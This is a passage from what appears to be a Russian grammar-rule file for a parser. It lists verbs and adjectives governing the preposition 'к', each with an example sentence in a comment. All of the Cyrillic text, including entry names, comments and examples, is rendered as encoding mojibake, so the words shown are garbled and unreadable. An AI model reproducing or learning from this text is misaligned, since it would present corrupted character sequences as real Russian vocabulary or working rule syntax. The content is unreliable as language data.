if context { * ะฟัะตะดะปะพะณ:ะฟะพ{} *:*{ ะฟะฐะดะตะถ:ะฒะธะฝ } }
then return false,-5
}
#endregion ะัะตะดะปะพะณ_ะะ
#region ะัะตะดะปะพะณ_ะ
// ------------------- ะก ะะ ะะะะะะะ 'ะ' ----------------------
wordentry_set ะะป_ะ_ะะฐั={
rus_verbs:ะทะฐัะฒะธัััั{}, // ะกัะฐะทั ะถะต ะฟะพัะปะต ะพะฑะตะดะฐ ะบ ะฝะฐะผ ะทะฐัะฒะธะปะฐัั ะฎะปะธั ะะธั
ะฐะนะปะพะฒะฝะฐ.
rus_verbs:ะฟัะธััะฐะฒะปััั{} , // ะัะธััะฐะฒะปัะตั ะดัะปะพ ะฟะธััะพะปะตัะฐ ะบ ะฒะธัะบั.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะะะะ ะะะะะะซะ{}, // ะฑะพะปััะธะฝััะฒะพ ะบะพะผะฟัััะตัะพะฒ ะธะท ััะพะน ะฟะฐััะธะธ ะพะบะฐะทะฐะปะธัั ะฝะตะฟัะธะณะพะดะฝัะผะธ ะบ ัะบัะฟะปัะฐัะฐัะธะธ (ะะะะ ะะะะะะซะ)
rus_verbs:ะกะะะะะขะฌะกะฏ{}, // ะะฝะธ ัััะปะธ ะฒะพะดั ะธ ัะฑะตะณะฐะปะธัั ะบ ะฝะตะน ะพัะพะฒััะดั. (ะกะะะะะขะฌะกะฏ)
rus_verbs:ะกะะะะะขะฌะกะฏ{}, // ะ ะฑะตัะพะฝะฝะพะน ัะบะฐะผัะต ะฝะฐัะฐะปะธ ัะฑะตะณะฐัััั ะปัะดะธ. (ะกะะะะะขะฌะกะฏ/ะกะะะะะขะฌะกะฏ)
rus_verbs:ะะ ะะขะะ ะะขะฌะกะฏ{}, // ะะตะฝะตะต ััะพะนะบะธั
ะฒะพะดะธัะตะปะตะน ะฑัะบะฒะฐะปัะฝะพ ัะผะตัะฐะปะพ ะฝะฐ ะดััะณัั ะฟะพะปะพัั, ะธ ะพะฝะธ ะฒะฟัะธััะบ ะฟัะธัะธัะฐะปะธัั ะบ ะดััะณะธะผ ะผะฐัะธะฝะฐะผ. (ะะ ะะขะะ ะะขะฌะกะฏ)
rus_verbs:ะ ะฃะฅะะฃะขะฌ{}, // ะฐ ะฟะพัะพะผ ัั ะฑะตะท ััะฒััะฒ ััั
ะฝัะป ะบ ะผะพะธะผ ะฝะพะณะฐะผ (ะ ะฃะฅะะฃะขะฌ)
rus_verbs:ะะะ ะะะะกะขะ{}, // ะะฝะธ ะฟะตัะตะฝะตัะปะธ ะผััะพ ะบ ััััั ะธ ะฟะพะดะถะฐัะธะปะธ ะตะณะพ ะฝะฐ ะบะพัััะต. (ะะะ ะะะะกะขะ)
rus_verbs:ะะะะะกะขะ{}, // ะบะฐะบ ะฟััั ะผะพะน ะทะฐะฒะตะป ะผะตะฝั ะบ ะฝะตะผั? (ะะะะะกะขะ)
rus_verbs:ะะะะ ะฏะะฃะขะฌ{}, // ะคะะ ะฝะฐะณััะฝัะปะพ ั ะพะฑััะบะพะผ ะบ ัะตัััะต ะฑะพััะพะฝัะบะธั
ัะตััะพัะธััะพะฒ (ะะะะ ะฏะะฃะขะฌ)
rus_verbs:ะะ ะะกะะะะฏะขะฌะกะฏ{}, // ะ ะฐะฑั ะปะพะถะธะปะธัั ะฝะฐ ะฟะพะป, ะฟัะธัะปะพะฝัะปะธัั ะบ ััะตะฝะต ะธ ัะฟะฐะปะธ. (ะะ ะะกะะะะฏะขะฌะกะฏ,ะะ ะะะะ ะะะะะะะขะฌะกะฏ,ะะ ะะะะ ะะะะขะฌะกะฏ)
rus_verbs:ะะ ะะะะ ะะะะะะะขะฌะกะฏ{}, //
rus_verbs:ะะ ะะะะ ะะะะขะฌะกะฏ{}, //
rus_verbs:ะกะะะะะะ ะะะะขะฌ{}, // ะัะบะพัะต ะพะฝะฐ ะพััะฐะฝะพะฒะธะปะฐ ัะฒะพะต ะฟะฐะดะตะฝะธะต ะธ ัะฟะปะฐะฝะธัะพะฒะฐะปะฐ ะบ ะฝะธะผ. (ะกะะะะะะ ะะะะขะฌ,ะกะะะะะ ะะะะขะฌ,ะ ะฃะฅะะฃะขะฌ)
rus_verbs:ะกะะะะะ ะะะะขะฌ{}, //
rus_verbs:ะะะะ ะะขะฌะกะฏ{}, // ะะพััะพะผั ะพะฝ ะทะฐะฑัะฐะปัั ะบะพ ะผะฝะต ะฒ ะบะฒะฐััะธัั ั ะธะผะตะฒัะธะผัั ั ะฝะตะณะพ ะฟะพะปัะผะตัััะตะผ. (ะะะะ ะะขะฌะกะฏ ะ, ะ, ะก)
rus_verbs:ะะ ะะขะฏะะะะะขะฌ{}, // ะะฝะพ ะฟัะพััะณะธะฒะฐะปะพ ัะฒะพะธ ะดะปะธะฝะฝัะต ััะบะธ ะบ ะผะพะปะพะดะพะผั ัะตะปะพะฒะตะบั, ััะพัะฒัะตะผั ะฝะฐ ะฟะปะพัะบะพะน ะฒะตััะธะฝะต ะฒะฐะปัะฝะฐ. (ะะ ะะขะฏะะะะะขะฌ/ะะ ะะขะฏะะฃะขะฌ/ะขะฏะะฃะขะฌ)
rus_verbs:ะะ ะะขะฏะะฃะขะฌ{}, //
rus_verbs:ะขะฏะะฃะขะฌ{}, //
rus_verbs:ะะะ ะะะะ ะะขะฌะกะฏ{}, // ะะต ะณัะฑั ะผะตะดะปะตะฝะฝะพ ะฟะตัะตะฑะธัะฐะปะธัั ะบ ะตะณะพ ัั
ั. (ะะะ ะะะะ ะะขะฌะกะฏ,ะะะ ะะะ ะะขะฌะกะฏ,ะะะ ะะะะะะ ะะะะขะฌะกะฏ,ะะะ ะะะะกะขะะขะฌะกะฏ,ะะะ ะะะะฉะะขะฌะกะฏ)
rus_verbs:ะะะ ะะะ ะะขะฌะกะฏ{}, // ,,,
rus_verbs:ะะะ ะะะะะะ ะะะะขะฌะกะฏ{}, //
rus_verbs:ะะะ ะะะะกะขะะขะฌะกะฏ{}, //
rus_verbs:ะะะ ะะะะฉะะขะฌะกะฏ{}, //
rus_verbs:ะขะ ะะะฃะขะฌะกะฏ{}, // ะะฝ ะพัะฒะตัะฝัะปัั ะพั ะฝะตะต ะธ ััะพะฝัะปัั ะบ ะฟะปัะถั. (ะขะ ะะะฃะขะฌะกะฏ)
rus_verbs:ะะ ะะกะขะะะะขะฌ{}, // ะะฝ ะฟะพะดะฝัะป ะพะดะฝั ะธะท ะฝะธั
ะธ ะฟัะธััะฐะฒะธะป ะฒะตัั
ะฝะธะน ะบะพะฝะตั ะบ ะบัะฐั ัะฐั
ัั ะฒ ะฟะพัะพะปะบะต.
rus_verbs:ะะ ะะะะขะฌะกะฏ{}, // ะัััะด ั ะฝะตะฒะตัะพััะฝัะผะธ ะฟัะธะบะปััะตะฝะธัะผะธ, ะฟััะฐะตััั ะฟัะพะฑะธัััั ะบ ัะฒะพะตะผั ะฟะพะปะบั, ะฟะพะฟะฐะดะฐะตั ะฒ ะฟะปะตะฝ ะธ ะดััะณะธะต ะฟะตัะตะดััะณะธ (ะะ ะะะะขะฌะกะฏ)
rus_verbs:ั
ะพัะตัั{},
rus_verbs:ะกะะะะะขะฌ{}, // ะกะดะตะปะฐะนัะต ะฒัั ะบ ะฟะพะฝะตะดะตะปัะฝะธะบั (ะกะะะะะขะฌ)
rus_verbs:ะะกะะซะขะซะะะขะฌ{}, // ะพะฝะฐ ะธัะฟัััะฒะฐะตั ะบะพ ะผะฝะต ัะพะปัะบะพ ะพัะฒัะฐัะตะฝะธะต (ะะกะะซะขะซะะะขะฌ)
rus_verbs:ะะะฏะะซะะะขะฌ{}, // ะญัะพ ะผะตะฝั ะฝะธ ะบ ัะตะผั ะฝะต ะพะฑัะทัะฒะฐะตั (ะะะฏะะซะะะขะฌ)
rus_verbs:ะะะ ะะะะะขะฌะกะฏ{}, // ะบะฐัะฐะฑะบะฐัััั ะฟะพ ะณะพัะต ะพั ะฟะพะดะฝะพะถะธั ะบ ะฒะตััะธะฝะต (ะะะ ะะะะะขะฌะกะฏ)
rus_verbs:ะกะขะะฏะขะฌ{}, // ะผัะถัะธะฝะฐ ััะพัะป ะบะพ ะผะฝะต ัะฟะธะฝะพะน (ะกะขะะฏะขะฌ)
rus_verbs:ะะะะะขะฌะกะฏ{}, // ะฝะฐะบะพะฝะตั ะปัะบ ะฟะพะดะฐะปัั ะบะพ ะผะฝะต (ะะะะะขะฌะกะฏ)
rus_verbs:ะะ ะะ ะะะะฏะขะฌ{}, // ะฃัะธะปะธั ะฝะตะปัะทั ะฟัะธัะฐะฒะฝััั ะบ ัะตะทัะปััะฐัั (ะะ ะะ ะะะะฏะขะฌ)
rus_verbs:ะะ ะะ ะะะะะะะขะฌ{}, // ะฃัะธะปะธั ะฝะตะปัะทั ะฟัะธัะฐะฒะฝะธะฒะฐัั ะบ ัะตะทัะปััะฐัั (ะะ ะะ ะะะะะะะขะฌ)
rus_verbs:ะะะะะะะะขะฌ{}, // ะััะธะฝ ะฒ ะัะบะพะฒะต ะฒะพะทะปะพะถะธะป ัะฒะตัั ะบ ะฟะฐะผััะฝะธะบั ะฒะพะธะฝะฐะผ-ะดะตัะฐะฝัะฝะธะบะฐะผ, ะฟะพะณะธะฑัะธะผ ะฒ ะงะตัะฝะต (ะะะะะะะะขะฌ)
rus_verbs:ะทะฐะฟัััะธัั{}, // ะะฝะดะธั ะทะฐะฟัััะธั ะบ ะะฐััั ัะฒะพะน ะบะพัะผะธัะตัะบะธะน ะฐะฟะฟะฐัะฐั ะฒ 2013 ะณ
rus_verbs:ะะ ะะกะขะซะะะะะขะฌะกะฏ{}, // ะ ะพะฑะพัะธะทะธัะพะฒะฐะฝะฝัะน ัะพััะธะนัะบะธะน ะณััะทะพะฒะพะน ะบะพัะผะธัะตัะบะธะน ะบะพัะฐะฑะปั ะฟัะธัััะบะพะฒะฐะปัั ะบ ะะะก (ะะ ะะกะขะซะะะะะขะฌะกะฏ)
rus_verbs:ะะ ะะะะะะขะฌะกะฏ{}, // ะ ัะตะปัะฑะธะฝัะบะพะผั ะผะตัะตะพัะธัั ะฟัะธะผะฐะทะฐะปะฐัั ัะฐะธะฝััะฒะตะฝะฝะฐั ัะปะธะทั (ะะ ะะะะะะขะฌะกะฏ)
rus_verbs:ะะะะ ะะกะะขะฌ{}, // ะะพะฟัะพัะธัะต ะะธะทั ะบ ัะตะปะตัะพะฝั (ะะะะ ะะกะะขะฌ ะ)
rus_verbs:ะะ ะะะฅะะขะฌ{}, // ะะพัะพะน ัะบะพะปัะฝัะต ะฐะฒัะพะฑััั ะฟัะพััะพ ะฝะต ะธะผะตัั ะฒะพะทะผะพะถะฝะพััะธ ะฟัะพะตั
ะฐัั ะบ ะฝะตะบะพัะพััะผ ะฝะฐัะตะปะตะฝะฝัะผ ะฟัะฝะบัะฐะผ ะธะท-ะทะฐ ะฑะตะทะดะพัะพะถัั (ะะ ะะะฅะะขะฌ ะ)
rus_verbs:ะะะะฆะะะะฏะขะฌะกะฏ{}, // ะะฐะณะพะฝั ั ะฟะฐััะฐะถะธัะฐะผะธ ะฟะพะดัะตะฟะปััััั ะบ ัะพััะฐะฒั (ะะะะฆะะะะฏะขะฌะกะฏ ะ)
rus_verbs:ะะ ะะะะะขะฌ{}, // ะัะตะทะธะดะตะฝั ะัะณะฐะฝะธััะฐะฝะฐ ะฟัะธะทะฒะฐะป ัะฐะปะธะฑะพะฒ ะบ ะฟััะผะพะผั ะดะธะฐะปะพะณั (ะะ ะะะะะขะฌ ะ)
rus_verbs:ะะ ะะะะ ะะะะขะฌะกะฏ{}, // ะัะปััะพะฒัะน ััะพะปะธัะฝัะน ะพัะตะปั ะฟัะตะพะฑัะฐะทะธะปัั ะบ ัะฑะธะปะตั (ะะ ะะะะ ะะะะขะฌะกะฏ ะ)
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะงะฃะะกะขะะะขะะะฌะะซะ{}, // ะฝะตะนัะพะฝั ะพะดะฝะพะณะพ ะบะพะผะฟะปะตะบัะฐ ััะฒััะฒะธัะตะปัะฝั ะบ ัะฐะทะฝัะผ ะฒะตัะตััะฒะฐะผ (ะงะฃะะกะขะะะขะะะฌะะซะ ะ)
ะฑะตะทะปะธั_ะณะปะฐะณะพะป:ะฝัะถะฝะพ{}, // ะฝะฐะผ ะฝัะถะฝะพ ะบ ะฒะพัะพัะฐะผ (ะะฃะะะ ะ)
rus_verbs:ะะ ะะกะะขะฌ{}, // ะพะณัะพะผะฝัะน ะบะปัะฒ ะฑัะพัะธะป ััะพ ะผััะพ ะบ ะผะพะธะผ ะฝะพะณะฐะผ (ะะ ะะกะะขะฌ ะ)
rus_verbs:ะะะะะะงะะขะฌ{}, // ะบ ะฟััะธ ัััะฐ ัะตั
ะฝะธะบะธ ะทะฐะบะพะฝัะธะปะธ (ะะะะะะงะะขะฌ ะ)
rus_verbs:ะะะกะขะ{}, // ะบ ะฑะตัะตะณั ะฝะฐั ะฝะตัะตั! (ะะะกะขะ ะ)
rus_verbs:ะะ ะะะะะะะขะฌะกะฏ{}, // ะฟะปะตะผะตะฝะฐ ะผะตะดะปะตะฝะฝะพ ะฟัะพะดะฒะธะณะฐะปะธัั ะบ ะฒะพััะพะบั (ะะ ะะะะะะะขะฌะกะฏ ะ)
rus_verbs:ะะะฃะกะะะขะฌะกะฏ{}, // ะดะตัะตะฒัั ะพะฟััะบะฐะปะธัั ะบ ัะฐะผะพะน ะฒะพะดะต (ะะะฃะกะะะขะฌะกะฏ ะ)
rus_verbs:ะกะขะะะะะขะฌ{}, // ะบ ัะพะผั ะฒัะตะผะตะฝะธ ััะตะผะฝะตะปะพ (ะกะขะะะะะะ ะ)
rus_verbs:ะะขะกะะะงะะขะฌ{}, // ะฟะพัะปะต ะพััะบะพัะธะป ะบ ะพะบะฝั (ะะขะกะะะงะะขะฌ ะ)
rus_verbs:ะะะ ะะะขะฌะกะฏ{}, // ะบ ัะพะปะฝัั ะดะตัะถะฐะปะธัั ัะฟะธะฝะฐะผะธ (ะะะ ะะะขะฌะกะฏ ะ)
rus_verbs:ะะะงะะฃะขะฌะกะฏ{}, // ัะพะปะฟะฐ ะบะฐัะฝัะปะฐัั ะบ ัััะฟะตะฝัะผ (ะะะงะะฃะขะฌะกะฏ ะ)
rus_verbs:ะะะะขะ{}, // ะะฝะดัะตะน ะฒะพัะตะป ะบ ัะตะฑะต (ะะะะขะ ะ)
rus_verbs:ะะซะะ ะะขะฌะกะฏ{}, // ะผั ะฒัะฑัะฐะปะธัั ะบ ะพะบะฝั (ะะซะะ ะะขะฌะกะฏ ะ)
rus_verbs:ะะ ะะะะกะขะ{}, // ะฟัะพะฒะตะป ะบ ััะตะฝะต ัะฟะฐะปัะฝะธ (ะะ ะะะะกะขะ ะ)
rus_verbs:ะะะ ะะฃะขะฌะกะฏ{}, // ะดะฐะฒะฐะน ะฒะตัะฝะตะผัั ะบ ะดะตะปั (ะะะ ะะฃะขะฌะกะฏ ะ)
rus_verbs:ะะะะะ ะะขะะขะฌะกะฏ{}, // ะกัะตะดะธ ะตะฒัะตะตะฒ, ะถะธะฒัะธั
ะฒ ะดะธะฐัะฟะพัะต, ะฒัะตะณะดะฐ ะฑัะปะพ ัะฐัะฟัะพัััะฐะฝะตะฝะพ ัะธะปัะฝะพะต ัััะตะผะปะตะฝะธะต ะฒะพะทะฒัะฐัะธัััั ะบ ะกะธะพะฝั (ะะะะะ ะะขะะขะฌะกะฏ ะ)
rus_verbs:ะะ ะะะะะะขะฌ{}, // ะะฐะดะฝัั ะฟะพะฒะตัั
ะฝะพััั ั
ััััะฐะปะธะบะฐ ะฟัะธะปะตะณะฐะตั ะบ ััะตะบะปะพะฒะธะดะฝะพะผั ัะตะปั (ะะ ะะะะะะขะฌ ะ)
rus_verbs:ะะะ ะะะะกะขะะกะฌ{}, // ะผััะปะตะฝะฝะพ ะะปัะฝะฐ ะฟะตัะตะฝะตัะปะฐัั ะบ ะทะฐะปะธะฒั (ะะะ ะะะะกะขะะกะฌ ะ)
rus_verbs:ะะ ะะะะะะขะฌะกะฏ{}, // ัะบะฒะพะทั ะฑะพะปะพัะพ ะบ ะฑะตัะตะณั ะฟัะพะฑะธะฒะฐะปัั ัััะตะน. (ะะ ะะะะะะขะฌะกะฏ ะ)
rus_verbs:ะะะ ะะะะกะขะ{}, // ะฝะตะพะฑั
ะพะดะธะผะพ ััะพัะฝะพ ะฟะตัะตะฒะตััะธ ััะฐะดะพ ะบ ะฒะพะดะต. (ะะะ ะะะะกะขะ ะ)
rus_verbs:ะะ ะะะะขะะขะฌ{}, // ะทะฐัะตะผ ัั ะฟัะธะปะตัะตะป ะบ ะฝะฐะผ? (ะะ ะะะะขะะขะฌ ะ)
rus_verbs:ะะะะะะะขะฌ{}, // ะดะพะฑะฐะฒะธัั ะปะธ ะตะต ะบ ะพััะฐะปัะฝัะผ? (ะะะะะะะขะฌ ะ)
rus_verbs:ะะ ะะะะขะะะะขะฌ{}, // ะะฐัะฒะตะน ะฟัะธะณะพัะพะฒะธะป ะปัะบ ะบ ะฑะพั. (ะะ ะะะะขะะะะขะฌ ะ)
rus_verbs:ะ ะะะะฃะขะฌ{}, // ัะตะปะพะฒะตะบ ัะฒะฐะฝัะป ะตะต ะบ ัะตะฑะต. (ะ ะะะะฃะขะฌ ะ)
rus_verbs:ะขะะฉะะขะฌ{}, // ะพะฝะธ ัะฐัะธะปะธ ะผะตะฝั ะบ ะดะฒะตัะธ. (ะขะะฉะะขะฌ ะ)
ะณะปะฐะณะพะป:ะฑััั{}, // ะบ ัะตะฑะต ะตััั ะฒะพะฟัะพัั.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะฐะฒะฝะพะดััะฝัะน{}, // ะะฝ ัะฐะฒะฝะพะดััะตะฝ ะบ ะผัะทัะบะต.
rus_verbs:ะะะะะะะะะขะฌ{}, // ัะบะฐะฝะดะฐะปัะฝะพ ะธะทะฒะตััะฝัะน ะฟะตะฒะตั ะฟะพะถะฐะปะพะฒะฐะป ะบ ะฝะฐะผ ะฝะฐ ะฟะตัะตะดะฐัั (ะะะะะะะะะขะฌ ะ)
rus_verbs:ะะะ ะะกะะกะขะฌ{}, // ะะปัะณะฐ ะฟะตัะตัะตะปะฐ ะบ ะะฝัะพะฝั (ะะะ ะะกะะกะขะฌ ะ)
ะธะฝัะธะฝะธัะธะฒ:ะกะะะะะขะฌ{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ะกะะะะะขะฌ{ ะฒะธะด:ัะพะฒะตัั }, // ัะฑะตะณะฐะน ะบ ะะพัะธัั (ะกะะะะะขะฌ ะ)
rus_verbs:ะะะ ะะฅะะะะขะฌ{}, // ะฟัะฐะฒะพ ั
ะพะดะฐ ะฟะตัะตั
ะพะดะธั ะบ ะะดะฐะผั (ะะะ ะะฅะะะะขะฌ ะ)
rus_verbs:ะฟัะธะถะฐัััั{}, // ะพะฝะฐ ะฟัะธะถะฐะปะฐัั ัะตะบะพะน ะบ ะตะณะพ ัะตะต. (ะฟัะธะถะฐัััั+ะบ)
rus_verbs:ะะะะกะะะงะะขะฌ{}, // ัะพะปะดะฐั ะฑััััะพ ะฟะพะดัะบะพัะธะป ะบะพ ะผะฝะต. (ะะะะกะะะงะะขะฌ ะ)
rus_verbs:ะะ ะะะ ะะขะฌะกะฏ{}, // ะฝัะถะฝะพ ะฟัะพะฑัะฐัััั ะบ ัะตะบะต. (ะะ ะะะ ะะขะฌะกะฏ ะ)
rus_verbs:ะะะขะะะะขะฌ{}, // ะฝะฐั ะณะพัะพะฒะธะปะธ ะบ ััะพะผั. (ะะะขะะะะขะฌ ะ)
rus_verbs:ะขะะงะฌ{}, // ัะตะบะฐ ัะตะบะปะฐ ะบ ะผะพัั. (ะขะะงะฌ ะ)
rus_verbs:ะะขะจะะขะะฃะขะฌะกะฏ{}, // ะตะฟะธัะบะพะฟ ะพััะฐัะฝัะปัั ะบ ััะตะฝะต. (ะะขะจะะขะะฃะขะฌะกะฏ ะ)
rus_verbs:ะะ ะะขะฌ{}, // ะฑัะฐะปะธ ะฑั ะบ ัะตะฑะต. (ะะ ะะขะฌ ะ)
rus_verbs:ะกะะะะฌะะะฃะขะฌ{}, // ะบะพะฒะตั ัะบะพะปัะทะฝัะป ะบ ะฟะตัะตัะต. (ะกะะะะฌะะะฃะขะฌ ะ)
rus_verbs:ะฟัะธัะพั
ะฝััั{}, // ะััะทั ะฟัะธัะพั
ะปะฐ ะบ ะพะดะตะถะดะต. (ะฟัะธัะพั
ะฝััั ะบ)
rus_verbs:ะฟัะพัะธัั{}, // ะะธัะตะบัะพั ะฟัะพัะธั ะฒะฐั ะบ ัะตะฑะต. (ะฟัะพัะธัั ะบ)
rus_verbs:ะฒัะทัะฒะฐัั{}, // ัะตั ะฒัะทัะฒะฐะป ะบ ัะตะฑะต. (ะฒัะทัะฒะฐัั ะบ)
rus_verbs:ะฟัะธัะตััั{}, // ััะฐัะธะบ ะฟัะธัะตะป ะบ ะพะณะฝั. (ะฟัะธัะตััั ะบ)
rus_verbs:ะะะะะะะะขะฌะกะฏ{}, // ะ ะธัะฐัะด ะฝะฐะบะปะพะฝะธะปัั ะบ ะฑัะฐัั. (ะะะะะะะะขะฌะกะฏ ะ)
rus_verbs:ะฒัะฑะธัะฐัััั{}, // ะฑัะดะตะผ ะฒัะฑะธัะฐัััั ะบ ะดะพัะพะณะต. (ะฒัะฑะธัะฐัััั ะบ)
rus_verbs:ะพัะฒะตัะฝััััั{}, // ะะธะบัะพั ะพัะฒะตัะฝัะปัั ะบ ััะตะฝะต. (ะพัะฒะตัะฝััััั ะบ)
rus_verbs:ะกะขะะฅะะฃะขะฌ{}, // ะพะณะพะฝั ััะธั
ะบ ะฟะพะปัะดะฝั. (ะกะขะะฅะะฃะขะฌ ะ)
rus_verbs:ะฃะะะกะขะฌ{}, // ะฝะพะถ ัะฟะฐะป ะบ ะฝะพะณะฐะผ. (ะฃะะะกะขะฌ ะ)
rus_verbs:ะกะะกะขะฌ{}, // ะผะพะปัะฐ ัะตะป ะบ ะพะณะฝั. (ะกะะกะขะฌ ะ)
rus_verbs:ะฅะะซะะฃะขะฌ{}, // ะฝะฐัะพะด ั
ะปัะฝัะป ะบ ััะตะฝะฐะผ. (ะฅะะซะะฃะขะฌ ะ)
rus_verbs:ะฟะพะบะฐัะธัััั{}, // ะพะฝะธ ัะตัะฝะพะน ะฒะพะปะฝะพะน ะฟะพะบะฐัะธะปะธัั ะบะพ ะผะฝะต. (ะฟะพะบะฐัะธัััั ะบ)
rus_verbs:ะะะ ะะขะะขะฌ{}, // ะพะฝะฐ ะพะฑัะฐัะธะปะฐ ะบ ะฝะตะผั ัะฒะพะต ะฑะปะตะดะฝะพะต ะปะธัะพ. (ะะะ ะะขะะขะฌ ะ)
rus_verbs:ะกะะะะะะขะฌ{}, // ะะถะพะฝ ัะปะตะณะบะฐ ัะบะปะพะฝะธะป ะณะพะปะพะฒั ะบ ะฟะปะตัั. (ะกะะะะะะขะฌ ะ)
rus_verbs:ะกะะะ ะะฃะขะฌ{}, // ะดะพัะพะถะบะฐ ัะตะทะบะพ ัะฒะตัะฝัะปะฐ ะบ ัะถะฝะพะน ััะตะฝะต. (ะกะะะ ะะฃะขะฌ ะ)
rus_verbs:ะะะะะ ะะฃะขะฌ{}, // ะะฝ ะทะฐะฒะตัะฝัะป ะบ ะฝะฐะผ ะฟะพ ะฟััะธ ะบ ะผะตััั ัะปัะถะฑั. (ะะะะะ ะะฃะขะฌ ะ)
rus_verbs:ะฟะพะดั
ะพะดะธัั{}, // ัะฒะตั ะฟะพะดั
ะพะดะธะป ะตะน ะบ ะปะธัั.
rus_verbs:ะะ ะะกะขะ{}, // ะ ะธัะฐัะด ะฟะพะบะพัะฝะพ ะฑัะตะป ะบ ะพััั. (ะะ ะะกะขะ ะ)
rus_verbs:ะะะะะกะขะฌ{}, // ั
ะพัะตัั ะฟะพะฟะฐััั ะบ ะฝะตะผั? (ะะะะะกะขะฌ ะ)
rus_verbs:ะะะะะฏะขะฌ{}, // ะะฐััะธะฝ ะฟะพะดะฝัะป ััะถัะต ะบ ะฟะปะตัั. (ะะะะะฏะขะฌ ะ)
rus_verbs:ะะะขะะ ะฏะขะฌ{}, // ะฟัะพััะพ ะฟะพัะตััะปะฐ ะบ ะฝะตะผั ะธะฝัะตัะตั. (ะะะขะะ ะฏะขะฌ ะ)
rus_verbs:ะ ะะะะะ ะะฃะขะฌะกะฏ{}, // ะพะฝะธ ััะฐะทั ัะฐะทะฒะตัะฝัะปะธัั ะบะพ ะผะฝะต. (ะ ะะะะะ ะะฃะขะฌะกะฏ ะ)
rus_verbs:ะะะะะ ะะฃะขะฌ{}, // ะผะฐะปััะธะบ ะฟะพะฒะตัะฝัะป ะบ ะฝะธะผ ะณะพะปะพะฒั. (ะะะะะ ะะฃะขะฌ ะ)
rus_verbs:ะฒัะทะฒะฐัั{}, // ะธะปะธ ะฒัะทะฒะฐัั ะบ ะถะธะทะฝะธ? (ะฒัะทะฒะฐัั ะบ)
rus_verbs:ะะซะฅะะะะขะฌ{}, // ะธั
ะทะตะผะปะธ ะฒัั
ะพะดัั ะบ ะผะพัั. (ะะซะฅะะะะขะฌ ะ)
rus_verbs:ะะฅะะขะฌ{}, // ะผั ะดะพะปะณะพ ะตั
ะฐะปะธ ะบ ะฒะฐะผ. (ะะฅะะขะฌ ะ)
rus_verbs:ะพะฟัััะธัััั{}, // ะะปะธัะฐ ะพะฟัััะธะปะฐัั ะบ ัะฐะผะพะผั ะดะฝั. (ะพะฟัััะธัััั ะบ)
rus_verbs:ะฟะพะดะฝััััั{}, // ะพะฝะธ ะผะพะปัะฐ ะฟะพะดะฝัะปะธัั ะบ ัะตะฑะต. (ะฟะพะดะฝััััั ะบ)
rus_verbs:ะะะะะฃะขะฌะกะฏ{}, // ัะพะปัััะบ ััะถะตะปะพ ะดะฒะธะฝัะปัั ะบ ะฝะธะผ. (ะะะะะฃะขะฌะกะฏ ะ)
rus_verbs:ะะะะฏะขะะขะฌะกะฏ{}, // ะฒะตะดัะผะฐะบ ะพััะพัะพะถะฝะพ ะฟะพะฟััะธะปัั ะบ ะปะพัะฐะดะธ. (ะะะะฏะขะะขะฌะกะฏ ะ)
rus_verbs:ะ ะะะฃะขะฌะกะฏ{}, // ะผััะตะปะพะฒ ัะธะฝัะปัั ะบ ัะตัะฝะพะน ััะตะฝะต. (ะ ะะะฃะขะฌะกะฏ ะ)
rus_verbs:ะขะะะะะฃะขะฌ{}, // ะบ ััะพะผั ัะพะปะบะฝัะป ะตะต ัั. (ะขะะะะะฃะขะฌ ะ)
rus_verbs:ะพัะฟััะณะฝััั{}, // ะะฐะดะธะผ ะฟะพัะฟะตัะฝะพ ะพัะฟััะณะฝัะป ะบ ะฑะพััั. (ะพัะฟััะณะฝััั ะบ)
rus_verbs:ะพััััะฟะธัั{}, // ะผั ะฟะพัะฟะตัะฝะพ ะพััััะฟะธะปะธ ะบ ััะตะฝะต. (ะพััััะฟะธัั ะบ)
rus_verbs:ะะะะ ะะขะฌ{}, // ะผั ะทะฐะฑัะฐะปะธ ะธั
ะบ ัะตะฑะต. (ะะะะ ะะขะฌ ะบ)
rus_verbs:ะะะฏะขะฌ{}, // ะฟะพัะพะผ ะฒะพะทัะผั ัะตะฑั ะบ ัะตะฑะต. (ะะะฏะขะฌ ะ)
rus_verbs:ะปะตะถะฐัั{}, // ะฝะฐั ะฟััั ะปะตะถะฐะป ะบ ะฝะธะผ. (ะปะตะถะฐัั ะบ)
rus_verbs:ะฟะพะฟะพะปะทัะธ{}, // ะตะต ััะบะฐ ะฟะพะฟะพะปะทะปะฐ ะบ ะพััะถะธั. (ะฟะพะฟะพะปะทัะธ ะบ)
rus_verbs:ััะตะฑะพะฒะฐัั{}, // ะฒะฐั ััะตะฑัะตั ะบ ัะตะฑะต ะธะผะฟะตัะฐัะพั. (ััะตะฑะพะฒะฐัั ะบ)
rus_verbs:ะฟะพะตั
ะฐัั{}, // ัั ะดะพะปะถะตะฝ ะฟะพะตั
ะฐัั ะบ ะฝะตะผั. (ะฟะพะตั
ะฐัั ะบ)
rus_verbs:ััะฝััััั{}, // ะผะพัะดะพะน ะถะธะฒะพัะฝะพะต ััะฝัะปะพัั ะบ ะทะตะผะปะต. (ััะฝััััั ะบ)
rus_verbs:ะะะะขะฌ{}, // ะถะดะธ ะธั
ะทะฐะฒััะฐ ะบ ัััั. (ะะะะขะฌ ะ)
rus_verbs:ะะะะะขะะขะฌ{}, // ะพะฝะธ ัััะตะผะธัะตะปัะฝะพ ะฟะพะปะตัะตะปะธ ะบ ะทะตะผะปะต. (ะะะะะขะะขะฌ ะ)
rus_verbs:ะฟะพะดะพะนัะธ{}, // ะฟะพะผะพะณะธ ะผะฝะต ะฟะพะดะพะนัะธ ะบ ััะพะปั. (ะฟะพะดะพะนัะธ ะบ)
rus_verbs:ะ ะะะะะ ะะฃะขะฌ{}, // ะผัะถะธะบ ัะฐะทะฒะตัะฝัะป ะบ ะฝะตะผั ะบะพะฝั. (ะ ะะะะะ ะะฃะขะฌ ะ)
rus_verbs:ะะ ะะะะะขะ{}, // ะฝะฐั ะฟัะธะฒะตะทะปะธ ะฟััะผะพ ะบ ะบะพัะพะปั. (ะะ ะะะะะขะ ะ)
rus_verbs:ะพัะฟััะฝััั{}, // ะฝะตะทะฝะฐะบะพะผะตั ะพัะฟััะฝัะป ะบ ััะตะฝะต. (ะพัะฟััะฝััั ะบ)
